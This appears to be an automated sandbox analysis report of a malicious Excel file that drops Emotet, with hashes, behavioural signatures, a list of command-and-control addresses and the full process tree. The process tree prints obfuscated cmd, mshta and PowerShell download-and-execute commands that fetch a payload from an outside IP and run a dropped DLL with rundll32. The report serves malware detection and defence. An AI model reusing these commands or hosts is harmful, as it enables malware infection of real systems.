Analysis
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max time kernel
116s -
max time network
147s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
22/01/2022, 14:52
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-en-20211208
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4056 3156 cmd.exe 68 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 4 IoCs
flow pid Process 35 840 mshta.exe 36 2196 powershell.exe 38 2196 powershell.exe 48 2104 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 1004 rundll32.exe 404 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Akhbvqbxv\gkzqjwzkousm.sfz rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 2240 840 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3156 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 2196 powershell.exe 2196 powershell.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2240 WerFault.exe 2196 powershell.exe 2104 rundll32.exe 2104 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2196 powershell.exe Token: SeDebugPrivilege 2240 WerFault.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE 3156 EXCEL.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3156 wrote to memory of 4056 3156 EXCEL.EXE 72 PID 3156 wrote to memory of 4056 3156 EXCEL.EXE 72 PID 4056 wrote to memory of 840 4056 cmd.exe 74 PID 4056 wrote to memory of 840 4056 cmd.exe 74 PID 840 wrote to memory of 2196 840 mshta.exe 76 PID 840 wrote to memory of 2196 840 mshta.exe 76 PID 2196 wrote to memory of 3616 2196 powershell.exe 79 PID 2196 wrote to memory of 3616 2196 powershell.exe 79 PID 3616 wrote to memory of 1004 3616 cmd.exe 80 PID 3616 wrote to memory of 1004 3616 cmd.exe 80 PID 3616 wrote to memory of 1004 3616 cmd.exe 80 PID 1004 wrote to memory of 404 1004 rundll32.exe 81 PID 1004 wrote to memory of 404 1004 rundll32.exe 81 PID 1004 wrote to memory of 404 1004 rundll32.exe 81 PID 404 wrote to memory of 1260 404 rundll32.exe 84 PID 404 wrote to memory of 1260 404 rundll32.exe 84 PID 404 wrote to memory of 1260 404 rundll32.exe 84 PID 1260 wrote to memory of 2104 1260 rundll32.exe 85 PID 1260 wrote to memory of 2104 1260 rundll32.exe 85 PID 1260 wrote to memory of 2104 1260 rundll32.exe 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Akhbvqbxv\gkzqjwzkousm.sfz",sGmecSYI8⤵
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Akhbvqbxv\gkzqjwzkousm.sfz",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2104
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 840 -s 16564⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240
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